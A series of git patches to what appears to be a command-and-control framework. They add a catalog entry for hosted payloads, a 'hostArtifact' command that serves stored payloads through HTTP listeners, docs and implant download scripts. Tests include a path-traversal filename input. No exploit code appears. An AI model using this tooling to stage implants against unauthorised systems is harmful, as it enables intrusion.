ensureTrailingSeparator( - jsonString(config, "WwwDirectoryPath", childPath(runtimeConfig.dataRoot, "www"))); + runtimeConfig.hostedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "HostedArtifactsDirectoryPath", childPath(runtimeConfig.generatedArtifactsDirectoryPath, "hosted"))); if (auto it = config.find("DefaultWindowsArch"); it != config.end() && it->is_string()) runtimeConfig.defaultWindowsArch = normalizeWindowsArch(it->get()); @@ -224,7 +224,7 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Command specs directory path don't exist: {0}", commandSpecsDirectoryPath.c_str()); diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.hpp b/teamServer/teamServer/TeamServerRuntimeConfig.hpp index cc6e441..78c582f 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.hpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.hpp @@ -27,7 +27,7 @@ struct TeamServerRuntimeConfig std::string commandSpecsDirectoryPath = "../CommandSpecs/"; std::string uploadedArtifactsDirectoryPath = "../data/UploadedArtifacts/"; std::string generatedArtifactsDirectoryPath = "../data/GeneratedArtifacts/"; - std::string wwwDirectoryPath = "../data/www/"; + std::string hostedArtifactsDirectoryPath = "../data/GeneratedArtifacts/hosted/"; std::string defaultWindowsArch = "x64"; std::string defaultLinuxArch = "x64"; std::vector supportedWindowsArchs = {"x86", "x64", "arm64"}; diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index 22c81ca..d7b2492 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -66,6 +66,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string(); runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string(); runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); + runtimeConfig.hostedArtifactsDirectoryPath = (root / "GeneratedArtifacts" / "hosted").string(); fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); @@ -76,6 +77,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.scriptsDirectoryPath); fs::create_directories(runtimeConfig.uploadedArtifactsDirectoryPath); fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); + fs::create_directories(runtimeConfig.hostedArtifactsDirectoryPath); for (const std::string& arch : runtimeConfig.supportedLinuxArchs) { fs::create_directories(fs::path(runtimeConfig.linuxModulesDirectoryPath) / arch); @@ -116,6 +118,7 @@ void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "startup.ps1", "script"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / ".ignored.ps1", "hidden-script"); writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt", "upload"); + writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); } const TeamServerArtifactRecord* findArtifact( @@ -147,7 +150,7 @@ void testCatalogIndexesReleaseRoots() TeamServerArtifactCatalog catalog(runtimeConfig); const std::vector artifacts = catalog.listArtifacts(); - assert(artifacts.size() == 9); + assert(artifacts.size() == 10); assert(findArtifact(artifacts, ".ignored.ps1", "script", "windows", "any") == nullptr); const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); @@ -180,6 +183,14 @@ void testCatalogIndexesReleaseRoots() assert(upload->scope == "operator"); assert(upload->target == "beacon"); assert(upload->runtime == "file"); + + const TeamServerArtifactRecord* hosted = findArtifact(artifacts, "payload.bin", "hosted", "any", "any"); + assert(hosted != nullptr); + assert(hosted->scope == "generated"); + assert(hosted->target == "listener"); + assert(hosted->runtime == "file"); + assert(hosted->source == "operator"); + assert(hosted->size == 11); } void testCatalogFiltersArtifacts() @@ -214,6 +225,13 @@ void testCatalogFiltersArtifacts() artifacts = catalog.listArtifacts(linuxModules); assert(artifacts.size() == 1); assert(artifacts[0].name == "linuxmod.so"); + + TeamServerArtifactQuery hostedFiles; + hostedFiles.category = "hosted"; + hostedFiles.target = "listener"; + artifacts = catalog.listArtifacts(hostedFiles); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "payload.bin"); } void testCatalogIndexesAndDeletesGeneratedArtifacts() @@ -290,6 +308,70 @@ void testArtifactServiceStreamsPublicMetadataOnly() assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } +void testArtifactServiceDownloadsArtifactPayload() +{ + ScopedPath tempRoot(makeTempDirectory("service-download")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.nameContains = "operator-note"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactSelector selector; + selector.set_artifact_id(artifacts[0].artifactId); + teamserverapi::ArtifactContent response; + assert(service.downloadArtifact(selector, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.name() == "operator-note.txt"); + assert(response.display_name() == "operator-note.txt"); + assert(response.data() == "upload"); + assert(response.DebugString().find(tempRoot.path().string()) == std::string::npos); + + teamserverapi::ArtifactSelector missingSelector; + missingSelector.set_artifact_id("missing"); + teamserverapi::ArtifactContent missingResponse; + assert(service.downloadArtifact(missingSelector, &missingResponse).ok()); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "Artifact not found."); +} + +void testArtifactServiceUploadsOperatorArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("service-upload")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactUploadRequest request; + request.set_name("../payload v1.exe"); + request.set_platform("windows"); + request.set_arch("amd64"); + request.set_data("uploaded-bytes"); + + teamserverapi::OperationAck response; + assert(service.uploadArtifact(request, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.message() == "Uploaded artifact stored: payload_v1.exe"); + assert((fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Windows" / "x64" / "payload_v1.exe").is_regular_file()); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.platform = "windows"; + query.arch = "x64"; + query.nameContains = "payload"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "payload_v1.exe"); + assert(artifacts[0].scope == "operator"); + assert(artifacts[0].target == "beacon"); + assert(artifacts[0].runtime == "file"); +} + void testArtifactServiceDeletesGeneratedArtifacts() { ScopedPath tempRoot(makeTempDirectory("service-delete")); @@ -325,6 +407,8 @@ int main() testCatalogFiltersArtifacts(); testCatalogIndexesAndDeletesGeneratedArtifacts(); testArtifactServiceStreamsPublicMetadataOnly(); + testArtifactServiceDownloadsArtifactPayload(); + testArtifactServiceUploadsOperatorArtifact(); testArtifactServiceDeletesGeneratedArtifacts(); return 0; } From 3ca41042906cc5b60623823a2298e5d6cfc4819c Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 14:26:55 +0200 Subject: [PATCH 42/82] doc --- docs/artifacts.md | 151 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 docs/artifacts.md diff --git a/docs/artifacts.md b/docs/artifacts.md new file mode 100644 index 0000000..1eaa2fa --- /dev/null +++ b/docs/artifacts.md @@ -0,0 +1,151 @@ +# Artifact Runtime + +## Goal + +Artifacts are files known by the TeamServer and exposed through one consistent +catalog. Modules, commands, tools, scripts, generated payloads, downloads, +uploads, hosted files, and operator-provided files should all use this model +instead of ad hoc paths. + +The current implementation intentionally does not preserve compatibility with +older path conventions. + +## Runtime Roots + +```text +Release/ + CommandSpecs/ + LinuxBeacons// + LinuxModules// + TeamServer/ + TeamServerModules/ + WindowsBeacons// + WindowsModules// + +data/ + GeneratedArtifacts/ + hosted/ + Scripts/ + Any/ + Linux/ + Windows/ + Tools/ + Any/any/ + Linux// + Windows// + UploadedArtifacts/ + Any/any/ + Linux// + Windows// +``` + +`www` is retired. Files served by HTTP/HTTPS listeners belong under +`data/GeneratedArtifacts/hosted`. + +## Catalog Fields + +Each artifact has stable metadata: + +```text +artifact_id +name +display_name +category +scope +target +platform +arch +format +runtime +source +size +sha256 +description +tags +``` + +Common category values: + +```text +beacon +download +hosted +minidump +module +payload +screenshot +script +tool +upload +``` + +Common runtime values: + +```text +archive +bof +dotnet +file +native +powershell +script +shellcode +text +``` + +## Generated Artifacts + +Generated artifacts use a payload file plus a sidecar: + +```text + +.artifact.json +``` + +The sidecar is the source of truth for generated metadata. Delete operations are +restricted to generated artifacts that have this sidecar. + +Hosted files are different: they are raw files in +`GeneratedArtifacts/hosted`. They are indexed as: + +```text +category: hosted +scope: generated +target: listener +platform: any +arch: any +runtime: file +source: operator +``` + +They are downloadable from the Artifacts UI and served by listeners, but they are +not deleted through the generated-artifact delete path. + +## Command Specs + +Command specs describe command arguments and completion sources. Artifact-backed +arguments should use `artifact_filter` or `artifact_filters` so the client can +query the TeamServer catalog instead of guessing from examples or local paths. + +Use multiple filters when a command accepts several artifact families, for +example `psExec` accepting release tools and uploaded operator files. + +## Client UI + +The Artifacts tab is the operational view for the catalog: + +- filters refresh immediately on selection +- upload stores files under `UploadedArtifacts` +- download writes the selected artifact to the client machine +- generated sidecar-backed artifacts can be deleted +- hosted files are visible through the `hosted` category + +## Stabilization Checklist + +- Run real listener tests with hosted files under `GeneratedArtifacts/hosted`. +- Verify each migrated module with real artifacts and command autocomplete. +- Confirm upload/download behavior on Linux and Windows clients. +- Validate that generated sidecars are created, indexed, downloaded, and deleted. +- Check release staging rejects runtime/operator roots. +- Review command specs for argument descriptions, examples, and artifact filters. +- Keep new modules on the CommandSpec and ArtifactCatalog path. From c1f67fec849d90a3ad80bef397bf859ceef887cd Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 14:34:43 +0200 Subject: [PATCH 43/82] Minor --- docs/implants.md | 9 +++++++++ download-c2implant-artifacts.sh | 3 +-- download-c2linuximplant-artifacts.sh | 12 ++++++------ 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/docs/implants.md b/docs/implants.md index 08c6d63..0cd110a 100644 --- a/docs/implants.md +++ b/docs/implants.md @@ -18,7 +18,9 @@ Release/ x64/ arm64/ LinuxBeacons/ + x64/ LinuxModules/ + x64/ ``` ## C2Implant Assets @@ -66,6 +68,13 @@ LinuxBeacons/ LinuxModules/ ``` +The Linux importer stages the current Linux release under: + +```text +Release/LinuxBeacons/x64/ +Release/LinuxModules/x64/ +``` + Legacy layouts are rejected: ```text diff --git a/download-c2implant-artifacts.sh b/download-c2implant-artifacts.sh index 72cec47..ac59997 100644 --- a/download-c2implant-artifacts.sh +++ b/download-c2implant-artifacts.sh @@ -58,5 +58,4 @@ done echo echo "[+] Done. Layout:" -find "${OUT_ROOT}/WindowsBeacons" "${OUT_ROOT}/WindowsModules" -maxdepth 2 -type d | sort - +find "${OUT_ROOT}/WindowsBeacons" "${OUT_ROOT}/WindowsModules" -maxdepth 2 -type f | sort diff --git a/download-c2linuximplant-artifacts.sh b/download-c2linuximplant-artifacts.sh index 5327599..321969b 100644 --- a/download-c2linuximplant-artifacts.sh +++ b/download-c2linuximplant-artifacts.sh @@ -3,6 +3,7 @@ set -euo pipefail TAG="${1:-0.14.0}" OUT_ROOT="${2:-./Release}" +ARCH="${3:-x64}" REPO_URL="https://github.com/maxDcb/C2LinuxImplant/releases/download/${TAG}" ASSET="Release.tar.gz" @@ -15,9 +16,9 @@ trap cleanup EXIT mkdir -p "${OUT_ROOT}" -echo "[*] Preparing ${OUT_ROOT}/LinuxBeacons and ${OUT_ROOT}/LinuxModules" +echo "[*] Preparing ${OUT_ROOT}/LinuxBeacons/${ARCH} and ${OUT_ROOT}/LinuxModules/${ARCH}" rm -rf "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -mkdir -p "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" +mkdir -p "${OUT_ROOT}/LinuxBeacons/${ARCH}" "${OUT_ROOT}/LinuxModules/${ARCH}" TAR_PATH="${TMP_DIR}/${ASSET}" EXTRACT_DIR="${TMP_DIR}/extract-linux" @@ -44,10 +45,9 @@ if [[ ! -d "${RELEASE_ROOT}/LinuxModules" ]]; then exit 1 fi -cp -a "${RELEASE_ROOT}/LinuxBeacons/." "${OUT_ROOT}/LinuxBeacons/" -cp -a "${RELEASE_ROOT}/LinuxModules/." "${OUT_ROOT}/LinuxModules/" +cp -a "${RELEASE_ROOT}/LinuxBeacons/." "${OUT_ROOT}/LinuxBeacons/${ARCH}/" +cp -a "${RELEASE_ROOT}/LinuxModules/." "${OUT_ROOT}/LinuxModules/${ARCH}/" echo echo "[+] Done. Layout:" -find "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -maxdepth 1 -type f | sort - +find "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -maxdepth 2 -type f | sort From ebacd8c3bc019ca083bc8e2ed9f732aea13dbf62 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 14:45:54 +0200 Subject: [PATCH 44/82] Terminal Host --- C2Client/C2Client/TerminalPanel.py | 35 ++-- .../tests/test_terminal_panel_dropper_arch.py | 17 ++ docs/artifacts.md | 10 ++ .../teamServer/TeamServerTermLocalService.cpp | 154 +++++++++++++++++- .../teamServer/TeamServerTermLocalService.hpp | 3 + .../tests/TeamServerTermLocalServiceTests.cpp | 65 ++++++++ 6 files changed, 266 insertions(+), 18 deletions(-) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index e0616f0..1356e1c 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -196,6 +196,7 @@ HttpsType = "https" GrpcGetBeaconBinaryInstruction = "getBeaconBinary" +GrpcHostArtifactInstruction = "hostArtifact" GrpcPutIntoUploadDirInstruction = "putIntoUploadDir" GrpcInfoListenerInstruction = "infoListener" GrpcBatcaveUploadToolInstruction = "batcaveUpload" @@ -264,9 +265,10 @@ def isTerminalResponseError(response): HostInstruction = "Host" HostHelp="""Host: -Host upload a file on the teamserver to be downloaded by a web request from a web listener (http/https): +Host a TeamServer artifact so it can be downloaded by a web request from an HTTP/HTTPS listener: exemple: -- Host file hostListenerHash""" +- Host artifactId hostListenerHash +- Host artifactId hostListenerHash hostedName.exe""" CredentialStoreInstruction = "CredentialStore" CredentialStoreHelp = """CredentialStore: @@ -772,8 +774,9 @@ def runHost(self, commandLine, instructions): self.printInTerminal(commandLine, HostHelp) return; - filePath = instructions[1] + artifactReference = instructions[1] hostListenerHash = instructions[2] + hostedFilename = instructions[3] if len(instructions) >= 4 else "" commandTeamServer = GrpcInfoListenerInstruction+" "+hostListenerHash termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) @@ -799,26 +802,24 @@ def runHost(self, commandLine, instructions): if downloadPath[0]=="/": downloadPath = downloadPath[1:] - # Upload the file and get the path - try: - filename = os.path.basename(filePath) - with open(filePath, mode='rb') as fileDesc: - payload = fileDesc.read() - except IOError: - self.printInTerminal(commandLine, ErrorFileNotFound) - return - - commandTeamServer = GrpcPutIntoUploadDirInstruction+" "+hostListenerHash+" "+filename - termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer, data=payload) + commandTeamServer = GrpcHostArtifactInstruction+" "+hostListenerHash+" "+artifactReference + if hostedFilename: + commandTeamServer += " " + hostedFilename + termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) resultTermCommand = self.grpcClient.executeTerminalCommand(termCommand) result = terminal_response_text(resultTermCommand) if isTerminalResponseError(resultTermCommand): self.printInTerminal(commandLine, result) return - - result = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + filename - self.printInTerminal(commandLine, result) + + hostedFilename = result.strip() + if not hostedFilename: + self.printInTerminal(commandLine, "Error: hosted artifact filename missing.") + return + + hostedUrl = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + hostedFilename + self.printInTerminal(commandLine, hostedUrl) def _handle_dropper_config(self, commandLine, instructions): diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 2c541b2..8094847 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -19,6 +19,8 @@ def executeTerminalCommand(self, command): return SimpleNamespace(result="http\n127.0.0.1\n8080\n/uploads/\n", data=b"") if command.command.startswith(terminal_panel.GrpcGetBeaconBinaryInstruction): return SimpleNamespace(result="ok", data=b"beacon") + if command.command.startswith(terminal_panel.GrpcHostArtifactInstruction): + return SimpleNamespace(result="hosted.bin", data=b"") if command.command.startswith(terminal_panel.GrpcPutIntoUploadDirInstruction): return SimpleNamespace(result="ok", data=b"") return SimpleNamespace(result="Error: unexpected command", data=b"") @@ -112,6 +114,21 @@ def test_terminal_command_error_message_uses_status_message(qtbot): assert "raw failure" not in terminal.editorOutput.toPlainText() +def test_terminal_host_uses_artifact_reference(qtbot): + parent = QWidget() + grpc = FakeGrpc() + terminal = terminal_panel.Terminal(parent, grpc) + qtbot.addWidget(terminal) + + terminal.runHost("Host artifact-123 listener-pri", ["Host", "artifact-123", "listener-pri"]) + + assert "infoListener listener-pri" in grpc.commands + assert "hostArtifact listener-pri artifact-123" in grpc.commands + output = terminal.editorOutput.toPlainText() + assert "http://127.0.0.1:8080/uploads/hosted.bin" in output + assert not any(command.startswith(terminal_panel.GrpcPutIntoUploadDirInstruction) for command in grpc.commands) + + def test_terminal_shows_welcome_message(qtbot): parent = QWidget() terminal = terminal_panel.Terminal(parent, FakeGrpc()) diff --git a/docs/artifacts.md b/docs/artifacts.md index 1eaa2fa..375f02a 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -140,6 +140,16 @@ The Artifacts tab is the operational view for the catalog: - generated sidecar-backed artifacts can be deleted - hosted files are visible through the `hosted` category +The Terminal `Host` command works from catalog artifacts, not local client +files: + +```text +Host [hosted_filename] +``` + +The TeamServer resolves the artifact, copies its payload into the listener +hosted directory, and returns the download URL to the client. + ## Stabilization Checklist - Run real listener tests with hosted files under `GeneratedArtifacts/hosted`. diff --git a/teamServer/teamServer/TeamServerTermLocalService.cpp b/teamServer/teamServer/TeamServerTermLocalService.cpp index a6bfe7e..49a9a81 100644 --- a/teamServer/teamServer/TeamServerTermLocalService.cpp +++ b/teamServer/teamServer/TeamServerTermLocalService.cpp @@ -1,8 +1,12 @@ #include "TeamServerTermLocalService.hpp" +#include +#include #include #include +#include +#include "TeamServerArtifactCatalog.hpp" #include "TeamServerModuleLoader.hpp" #include "listener/ListenerHttp.hpp" using json = nlohmann::json; @@ -10,6 +14,7 @@ namespace fs = std::filesystem; namespace { +const std::string HostArtifactInstruction = "hostArtifact"; const std::string PutIntoUploadDirInstruction = "putIntoUploadDir"; const std::string ReloadModulesInstruction = "reloadModules"; const std::string BatcaveInstruction = "batcaveUpload"; @@ -29,6 +34,38 @@ void setTerminalError(teamserverapi::TerminalCommandResponse* response, const st response->set_result(result); response->set_message(result); } + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string sanitizeHostedFilename(std::string value) +{ + value = basename(std::move(value)); + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + return value.empty() ? "artifact.bin" : value; +} + +bool samePath(const fs::path& left, const fs::path& right) +{ + std::error_code ec; + const fs::path canonicalLeft = fs::weakly_canonical(left, ec); + if (ec) + return false; + const fs::path canonicalRight = fs::weakly_canonical(right, ec); + if (ec) + return false; + return canonicalLeft == canonicalRight; +} } // namespace TeamServerTermLocalService::TeamServerTermLocalService( @@ -51,7 +88,8 @@ TeamServerTermLocalService::TeamServerTermLocalService( bool TeamServerTermLocalService::canHandle(const std::string& instruction) const { - return instruction == PutIntoUploadDirInstruction + return instruction == HostArtifactInstruction + || instruction == PutIntoUploadDirInstruction || instruction == BatcaveInstruction || instruction == AddCredentialInstruction || instruction == GetCredentialInstruction @@ -70,6 +108,8 @@ grpc::Status TeamServerTermLocalService::handleCommand( response->set_data(""); response->clear_message(); + if (instruction == HostArtifactInstruction) + return handleHostArtifact(splitedCmd, response); if (instruction == PutIntoUploadDirInstruction) return handlePutIntoUploadDir(splitedCmd, command, response); if (instruction == BatcaveInstruction) @@ -134,6 +174,118 @@ std::string TeamServerTermLocalService::resolveDownloadFolderForListener(const s return downloadFolder; } +grpc::Status TeamServerTermLocalService::handleHostArtifact( + const std::vector& splitedCmd, + teamserverapi::TerminalCommandResponse* response) +{ + m_logger->debug("hostArtifact"); + + if (splitedCmd.size() != 3 && splitedCmd.size() != 4) + { + setTerminalError(response, "Error: hostArtifact takes a listener hash, an artifact reference, and an optional filename."); + return grpc::Status::OK; + } + + const std::string& listenerHash = splitedCmd[1]; + const std::string& artifactReference = splitedCmd[2]; + const std::string downloadFolder = resolveDownloadFolderForListener(listenerHash); + if (downloadFolder.empty()) + { + setTerminalError(response, "Error: Listener don't have a download folder."); + m_logger->warn("Listener {0} has no download folder configured; unable to host artifact {1}", listenerHash, artifactReference); + return grpc::Status::OK; + } + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + std::vector matches; + for (const TeamServerArtifactRecord& candidate : catalog.listArtifacts()) + { + if (candidate.artifactId == artifactReference + || candidate.name == artifactReference + || candidate.displayName == artifactReference) + { + matches.push_back(candidate); + } + } + + if (matches.empty() && artifactReference.size() >= 8) + { + for (const TeamServerArtifactRecord& candidate : catalog.listArtifacts()) + { + if (candidate.artifactId.rfind(artifactReference, 0) == 0) + matches.push_back(candidate); + } + } + + if (matches.empty()) + { + setTerminalError(response, "Error: artifact not found."); + return grpc::Status::OK; + } + if (matches.size() > 1) + { + setTerminalError(response, "Error: artifact reference is ambiguous."); + return grpc::Status::OK; + } + + TeamServerArtifactRecord artifact; + std::string bytes; + std::string message; + if (!catalog.readArtifactPayload(matches.front().artifactId, artifact, bytes, message)) + { + setTerminalError(response, "Error: " + message); + return grpc::Status::OK; + } + + std::string filename; + if (splitedCmd.size() == 4) + { + filename = splitedCmd[3]; + if (!isValidFilename(filename)) + { + setTerminalError(response, "Error: filename not allowed."); + return grpc::Status::OK; + } + } + else + { + filename = sanitizeHostedFilename(!artifact.displayName.empty() ? artifact.displayName : artifact.name); + } + + const fs::path destinationPath = fs::path(downloadFolder) / filename; + std::error_code ec; + fs::create_directories(destinationPath.parent_path(), ec); + if (ec) + { + setTerminalError(response, "Error: Cannot create hosted artifact directory."); + m_logger->warn("Failed to create hosted artifact directory for {0}: {1}", filename, ec.message()); + return grpc::Status::OK; + } + + if (!samePath(artifact.internalPath, destinationPath)) + { + std::ofstream outputFile(destinationPath, std::ios::out | std::ios::binary | std::ios::trunc); + if (!outputFile.good()) + { + setTerminalError(response, "Error: Cannot write file."); + m_logger->warn("Failed to host artifact {0} at {1}", artifact.artifactId, destinationPath.string()); + return grpc::Status::OK; + } + outputFile.write(bytes.data(), static_cast(bytes.size())); + outputFile.close(); + if (!outputFile.good()) + { + setTerminalError(response, "Error: Cannot write file."); + m_logger->warn("Failed to finish hosting artifact {0} at {1}", artifact.artifactId, destinationPath.string()); + return grpc::Status::OK; + } + } + + setTerminalOk(response, filename); + m_logger->info("Hosted artifact {0} as {1} for listener {2}", artifact.artifactId, destinationPath.string(), listenerHash); + return grpc::Status::OK; +} + grpc::Status TeamServerTermLocalService::handlePutIntoUploadDir( const std::vector& splitedCmd, const teamserverapi::TerminalCommandRequest& command, diff --git a/teamServer/teamServer/TeamServerTermLocalService.hpp b/teamServer/teamServer/TeamServerTermLocalService.hpp index 5cc7dba..f5c0e1e 100644 --- a/teamServer/teamServer/TeamServerTermLocalService.hpp +++ b/teamServer/teamServer/TeamServerTermLocalService.hpp @@ -39,6 +39,9 @@ class TeamServerTermLocalService std::vector> loadModulesFromDisk() const; bool isValidFilename(const std::string& filename) const; std::string resolveDownloadFolderForListener(const std::string& listenerHash) const; + grpc::Status handleHostArtifact( + const std::vector& splitedCmd, + teamserverapi::TerminalCommandResponse* response); grpc::Status handlePutIntoUploadDir( const std::vector& splitedCmd, const teamserverapi::TerminalCommandRequest& command, diff --git a/teamServer/tests/TeamServerTermLocalServiceTests.cpp b/teamServer/tests/TeamServerTermLocalServiceTests.cpp index 2fbe992..f1f0a92 100644 --- a/teamServer/tests/TeamServerTermLocalServiceTests.cpp +++ b/teamServer/tests/TeamServerTermLocalServiceTests.cpp @@ -5,6 +5,7 @@ #include #include +#include "TeamServerArtifactCatalog.hpp" #include "TeamServerTermLocalService.hpp" namespace fs = std::filesystem; @@ -92,6 +93,9 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.windowsBeaconsDirectoryPath = (root / "windows-beacons").string(); runtimeConfig.toolsDirectoryPath = (root / "tools").string(); runtimeConfig.scriptsDirectoryPath = (root / "scripts").string(); + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string(); + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); + runtimeConfig.hostedArtifactsDirectoryPath = (root / "GeneratedArtifacts" / "hosted").string(); fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); @@ -100,10 +104,20 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); fs::create_directories(runtimeConfig.toolsDirectoryPath); fs::create_directories(runtimeConfig.scriptsDirectoryPath); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any"); + fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); + fs::create_directories(runtimeConfig.hostedArtifactsDirectoryPath); return runtimeConfig; } +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + std::string readFile(const fs::path& path) { std::ifstream input(path, std::ios::binary); @@ -158,6 +172,56 @@ void testUploadCommands() assert(readFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / "tool.bin") == "TOOL"); } +void testHostArtifactCommand() +{ + ScopedPath tempRoot(makeTempDirectory("host-artifact")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + fs::path downloadDir = tempRoot.path() / "downloads"; + fs::create_directories(downloadDir); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator_payload.bin", "PAYLOAD"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.nameContains = "operator_payload"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + nlohmann::json config = { + {"ListenerHttpsConfig", {{"downloadFolder", downloadDir.string()}}}}; + std::vector> listeners; + listeners.push_back(std::make_shared("listener-primary")); + nlohmann::json credentials = nlohmann::json::array(); + std::vector> modules; + + TeamServerTermLocalService service( + makeLogger(), + config, + runtimeConfig, + listeners, + credentials, + modules); + + teamserverapi::TerminalCommandRequest command; + command.set_command("hostArtifact listener-pri " + artifacts[0].artifactId); + teamserverapi::TerminalCommandResponse response; + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", artifacts[0].artifactId}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "operator_payload.bin"); + assert(response.message().empty()); + assert(readFile(downloadDir / "operator_payload.bin") == "PAYLOAD"); + + command.set_command("hostArtifact listener-pri " + artifacts[0].artifactId + " hosted.bin"); + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", artifacts[0].artifactId, "hosted.bin"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "hosted.bin"); + assert(readFile(downloadDir / "hosted.bin") == "PAYLOAD"); + + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", "missing"}, command, &response).ok()); + assert(response.status() == teamserverapi::KO); + assert(response.result() == "Error: artifact not found."); +} + void testCredentialCommands() { ScopedPath tempRoot(makeTempDirectory("cred")); @@ -236,6 +300,7 @@ void testReloadModulesUsesInjectedLoader() int main() { testUploadCommands(); + testHostArtifactCommand(); testCredentialCommands(); testReloadModulesUsesInjectedLoader(); return 0; From c49155279ced6de295b6b4a0cf9a7ed84c32c0cf Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 14:54:05 +0200 Subject: [PATCH 45/82] minor --- docs/artifacts.md | 10 +++ download-c2implant-artifacts.sh | 29 +++++++++ download-c2linuximplant-artifacts.sh | 36 +++++++++++ 